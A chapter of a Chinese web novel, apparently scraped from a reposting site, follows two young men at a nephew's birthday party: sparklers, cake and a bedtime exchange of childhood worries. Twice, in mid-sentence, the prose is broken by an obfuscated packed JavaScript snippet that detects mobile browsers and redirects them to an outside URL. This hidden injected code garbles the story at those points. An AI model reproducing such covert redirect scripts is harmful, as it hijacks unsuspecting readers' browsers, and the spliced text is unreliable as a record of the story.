牧晋修说:“好吧!希望我姐早日当上大leader,踩在公司食物链顶端。” 刚吃过饭,消消食,蛋糕等一会儿再切。几人便坐在沙发上看电视闲聊。 大学生牧晋修感慨:“假期真是一眨眼就过去了,好想回到刚放假那天。” 小学生刘琦同样深有所感:“迷途啊。” 牧晋修瞥了他一眼,心想真是一代人有一代人的火星文,虚心请教:“什么意思,翻译一下。” 刘琦鄙视地上下扫视他:“你还985大学生呢,英格丽旭懂不懂。” “……” 牧晋修和蔼一笑。转头极力推荐刘义明和赵悦华给刘琦报名外教口语班,把刘琦急得在一旁上窜下跳:“我今天过生日呢……不能虐待小孩啊!” 见牧晋修无动于衷,刘琦把希望放在了水玉岫身上:“哥哥,你管管他!” “走开走开走开。”牧晋修这才说话了:“哥哥是我叫的。” 刘琦:“就叫就叫就叫!” 牧晋修:“那你把高达还我。” 刘琦:“……” 刘琦不得不屈服了。安静了一会儿,他又凑过来,小声地和牧晋修交头接耳:“我妈妈说,你今天可能会带女朋友回来,让我到时候嘴甜一点。” 他偷偷瞄了一眼水玉岫:“结果是男朋友。好漂亮啊,你们是怎么认识的?” 牧晋修澄清:“不是男朋友,别猜了。看你的电视去。” “我俩关系这么好,有必要瞒着我吗。” 刘琦早就看见他俩牵手了,啧了一声,对他的不诚实大失所望,又问:“那你以后会和他结婚吗?” 牧晋修心说其实我们早就领证了,说出来吓死你。 他没有回答这个问题,拍了一下刘琦的脑袋:“走,舅带你放烟花去,小寿星。” 他跟哥嫂打了个招呼,带着刘琦和水玉岫去了顶楼天台。家里没什么存货,牧晋修拆了一盒仙女棒,分发给两人。 牧晋修先拿打火机把自己的那根点亮,然后招呼他们来借火:“来来来,小心一点,拿远些,别晃到眼睛了。” 刘琦见水玉岫动作很生疏,体贴地指导他:“像这样。碰一会儿,就会亮起来。” 刘琦拿着烟花棒玩去了,水玉岫低头看着手里这朵跳动的火焰,漆黑的瞳孔被照得闪闪发光。 “好像小流星。”牧晋修说:“许个愿吧。” 水玉岫又抬起头。 “许什么愿好呢?” 牧晋修闭上眼睛想了想:“那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679985|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝水玉岫天天开心,好好吃饭,要是哪天能笑一下就更好了。” 牧晋修问:“烟花同意吗?” 仙女棒燃烧完,最后一丝光亮也消失殆尽。 牧晋修说:“那就是同意了。” 他晃了晃水玉岫的手:“丁零当啷,愿望成真。” . 放完烟花回来,刘琦说要给妹妹讲故事,抱着一本书坐到赵悦华身边,开始声情并茂地朗读。他很坚持赵悦华怀的是女孩,有理有据地说自己梦到了。 刘义明在书房和客户打电话,大厅的电视亮着屏幕,放着都市电视剧,一时间很热闹。 两人坐在另一侧的沙发上,水玉岫忽然发现旁边摆着花瓶的小圆桌上,有一叠纸片。 牧晋修看了一眼:“噢,应该是我姐拿的。” 刘钟灵没在霞市发展,去了北方扎根工作,在一家业内有名的时尚杂志公司上班,打拼几年已经升职做到主编,就是工作繁忙,南北相隔千里,一年到头很少回来。 工作原因,偶尔会有明星的签名照或者周边,刘琦每次都求她带回来,送给要好的同学,可以在班上出出风头。 两人一起低头看那几张明信片。 牧晋修对偶像文化不大了解,随便看看。直到瞧见一张男生穿着工字背心、在太阳下比pose的照片,他说:“练得没我好。” 水玉岫偏头看了他一眼,牧晋修补充道:“实事求是,客观评价。” 说着屈起手臂,稍微发力:“不信的话来摸摸。哥,你可以坐我手臂上,看我能不能一只手把你举起来。” 水玉岫没理他,继续看明信片。 再翻两下,又出现了一张男爱豆的照片,这回一只手撩起衣服下摆,露出几块肌肉。倒没有露什么不该露的,但氛围看上去很旖旎。 “哎!” 牧晋修伸出手遮住水玉岫的眼睛,把明信片从他手中抽走了:“少儿不宜,我看这些东西得扔了。” 还好刘琦专心念书中,不然听到了又要和他急。 等牧晋修把明信片放好回来,水玉岫已经不在原位上了,站在电视旁的置物架前。 他走过去:“在看什么呢?” 架子上层摆了几个金元宝和一只电动招财猫,下面放了几本刘琦的课外书,中间有两个相框,牧晋修跟着水玉岫一起看。 这是两张合照。左边的那张看上去有些年头了,上面是陈玟梅夫妻,还有他们的一对儿女刘义明和刘钟灵。 五年之后,又拍摄了右边那张合照。照片上的人员些许变动,陈玟梅旁边的憨厚男人不见了,长高了的刘义明取代了父亲的位置,揽住母亲的肩。 刘钟灵那时打扮得还很学生气,她即将北上求职,成为几十万应聘大军里的一员,心里很迷茫。 而牧晋修第一次拍家庭合照,呆呆地站着,动作有点局促,抿着唇,不太好意思地看着镜头。一旁的赵悦华牵着他的手,鼓励他微笑。 那个时候,未来是什么,未来究竟在哪里,所有人对即将到来的事情,全都一无所知。 ……真的是有过一段很艰难的时光啊,但如今也都熬过来了。 水玉岫记得这张脸,照片中央的那位中年女性,就是牧晋修书房相框里的那个人。 牧晋修看着照片,也陷入了回忆。指尖点了点小小的自己,忍不住笑了;“我那个时候怎么这么傻气。” 他偏头,看见水玉岫专注的神情,想起了素未谋面的水听漾女士和方广成先生,沉默了一会儿。 然后轻轻揽住人的肩,语调很温柔:“天上也有爱我们的人,他们都变成了星星,在云朵里看着我们呢。” 时间真的能改变好多,曾经牧晋修以为自己永远都无法释怀。 水玉岫看向他,他笑了笑,接着说:“所以,要努力好好生活,别让他们担心。水玉岫小朋友可以做到吗?” 牧晋修轻轻把对方的长发撩到耳后,又补充了一下:“我替星星问的。” 19.火车 水玉岫小朋友还在想有关于星星和云朵的事情,牧晋修抬起右手,合拢掌心,伸出小拇指,试探地勾了勾。 水玉岫看了一会儿,学着他的样子,也曲起小拇指。 牧晋修便勾住他的手指,在电视背景音中轻轻晃了晃:“那你答应星星了。说好了,我们拉了钩,一百年都不许变。” 一百年是很短暂的。 水玉岫想,承诺了也无妨。 回到沙发上后,刘琦念书念累了,倒在一旁,对着赵悦华的肚子说话:“妹妹,哥哥很想你,高达等到时候我俩一块拼吧。” 赵悦华点了点儿子的额头,无奈地笑。 见水玉岫看过去,牧晋修解释说:“里面有小宝宝。你知道小宝宝是什么吗?我们每个人小的时候,就是这样的。” 水玉岫小时候不是这样的,他也不知道自己小时候是什么样的。 甚至以前根本没有小时候这个意识,吃吃睡睡,长着长着就自己长大了。 然而此刻却似乎有了概念,知道这就是人类生命的胚胎。 赵悦华眯起眼睛,看着两个人微笑。 很快,寿星刘琦发话,说可以来吃蛋糕了! 于是大家关灯,唱生日歌,把刘琦围在中间,看他闭着眼睛,对着蜡烛许愿,然后吹灭烛火。 头戴着纸皇冠的寿星喜气洋洋,给大家分蛋糕。蛋糕放在托盘上,一人一块,赵悦华分到了两块,刘琦说:“还有一块是给妹妹的,妹妹快快长大!” 给水玉岫的那块蛋糕明显要大一点,端给他的时候,怕被牧晋修听到,刘琦悄声问:“哥哥,我下次生日时,你还可以来吗?” 他还没等到水玉岫的回答,见牧晋修走近,连忙闭嘴了,还记得牧晋修“不许喊他哥哥”的小气鬼规定。 牧晋修拿了两罐旺仔牛奶,一罐给刘琦,一罐给水玉岫,让他们配着蛋糕吃。 蛋糕有巧克力脆脆和果冻夹心,上面还有水果作点缀。 牧晋修把自己蛋糕上的芒果块叉给水玉岫,问他:“怎么样,生日蛋糕是不是很好吃?没有骗你吧。” 水玉岫唇角蹭上了点奶油,舔了舔。仔细品味,心想:原来幸福是这个味道的。 牧晋修说:“等你生日了,也会有生日蛋糕吃,到时候给你买冰淇淋蛋糕,好不好?” 水玉岫咬了一口芒果,靠在他肩头,想象了一下冰淇淋蛋糕的样子,轻轻地点了点头。 牧晋修便摸摸他的头发笑了。 吃完蛋糕,再坐着聊了会儿天,两人便要告辞离开了。 临走前,又提上大包小包。赵悦华拉着水玉岫的手,让他有空多来坐坐,还让他要按时吃饭。 牧晋修替水玉岫应了,说一定一定。电梯一合上,立刻对旁边的人说:“好好吃饭!姐姐的话你不能不听吧。” “……” 水玉岫抬头在电梯里找了一圈,发现这个电梯里没有放曲奇饼干。 . 这一晚,两人洗漱过后,各自盖着被子躺在床上。牧晋修把综测表填完了,而水玉岫抱着平板,等关卡通过后,才不情不愿地将设备交出来了。 牧晋修既要管他好好吃饭,还要管他好好睡觉,也不觉得辛苦。熄灯后安静了一会儿,想到那个和星星的约定,忽然问:“哥,你觉得我们现在,有变得熟悉一点吗?” 应该是有点吧,毕竟水玉岫就不会靠在别人怀里吃饭。虽然冷冰冰的,但是很黏他,是信任的意思吧? 牧晋修翻了个身,面对着他:“不想睡觉的话,不如我给你变个魔法。” 水玉岫眨了眨眼睛。 牧晋修说:“想象一下,现在有一辆小火车开过来,嘟嘟嘟,嘟嘟嘟,小火车到达。你把烦恼告诉火车,让小火车带去远方丢掉,这样自己就会变得快乐一点。” 牧晋修说:“我们来讲讲自己过去的小烦恼吧?不开心的事情,说出来会好很多。” 牧晋修说:“要试试吗?” 水玉岫没有出声,但牧晋修知道他听到了。在壁灯的光线下,他的一双眼静静地看过来。 牧晋修想了想,率先开口了:“那我先来吧。” “我小时候,因为看别人开小卖部,所以自己也很想开一家小卖部。” “那家小卖部面积不大,但是地理位置很好,学校出来右拐就到了。” 老板是一个大肚子的男人,夏天的时候,就会掀开白背心,露出肚皮,蹬着人字拖,手里拿蒲扇扇风。 一到饭点,他便端着搪瓷碗,吸溜吸溜地吃面条或者炒饭。学生们来找他结账,他看一眼就知道这个东西要多少钱。 生意不忙的时候,老板便躺在竹椅上看电视。牧晋修每次路过,心里都很羡慕,觉得这一定是最好的人生。 “有一天,老师让所有人带一个新的作文本去学校,要大的方格作文本。因为下个月有作文比赛,大家都要为此准备。” “那个作文本小卖部里就有,卖五块钱。” 牧晋修说到这里,叹了一口气:“哎,但是那个时候我没有零花钱嘛,很着急,想着要是有五块钱就好了。” 上放学走路的时候,天天在地上的缝隙里看来看去,决定不做雷锋了。如果捡到了五块钱,他要先去买作文本,不交给警察同志。等以后有钱了再偷偷把五块钱放回地板上。 老天可能是听到了牧晋修的心声,不给他做坏孩子的机会。一周过去了,牧晋修没有捡到五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687840|187647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块钱,倒是捡到了二十块钱。 但是一本作文本不需要二十块钱,所以牧晋修把它交给了校门口负责疏散人群的老师。 那段时间,他经常顺着人流,走进小卖部里,装模作样地逛一圈,然后站在放作文本的架子前,看着充满油墨气息的封面,拿起来,用手摸摸,又放下。 小卖部里经常有一些学生,在家长的陪同下来挑文具。有一种文具盒是双层的,一层可以装铅笔自动笔,一层装直尺三角板,还带有一个削笔刀,很高级。 他们在旁边讨论要挑哪个颜色,牧晋修看了一眼,从小卖部里出去了。 后来的作文课上,牧晋修成为了全班唯一一个没有作文本的人。大家低头记笔记时,老师下来巡查,看见牧晋修在用数学作业本的反面写字,问他:“你的作文本呢?” 牧晋修低头掰手指,不知道自己脸上是什么表情。 老师没说什么,回到讲台,把那一节作文课上完了。下课后,她把牧晋修叫到办公室里,打开抽屉,递给他一本新作文本。 作文本的封面是棕色的,上面画着一个彩色的风车。牧晋修后来每次上作文课前,会偷偷对着风车吹气,看看它会不会转起来。 牧晋修长大以后并没有开小卖部,他去上大学,做大学生了,在可以容纳百人的阶梯教室里上课,用平板和电脑做笔记,不必再为一本五块钱的作文本牵肠挂肚。 牧晋修以为自己早已忘记,没想到晚上在记忆的角落里翻翻找找,竟然还有印象。 觉得心里好像有一块小石头悄悄松动,然后咕噜噜滚走了。 牧晋修顿了一下,接着说:“我的故事讲完了。嘟嘟嘟,嘟嘟嘟,小火车开走了,我的烦恼消失了。” “水玉岫有什么要说的吗?” 被点到名字的人裹着被子,安安静静。 牧晋修等了一会儿:“好吧,那小火车说它下次再来,希望下次能带走你的一点烦恼。嘟嘟嘟,嘟嘟嘟。” 和人对视了一会儿,牧晋修笑了笑,伸手把他散落的长发拂开,指节蹭到了软软的耳朵,还偷偷摩挲了一下:“哥,晚安。明天见,明天小火车也会来接你的。” 房间里安静了好一会儿,只能听到空调工作时微弱的声音。 不多时,旁边的人动了动,挪挪手脚,凑过来了点。 “……” 牧晋修闭上的眼睛睁开了,听着黑暗里窸窸窣窣、一点一点靠近的动静,不由失笑。 是有想告诉小火车的事情吗? 还没来得及开口询问,一个声音忽然在耳边响起—— “牧晋修。”水玉岫说:“笨蛋。” 与此同时,牧晋修的脸侧被人轻轻戳了戳。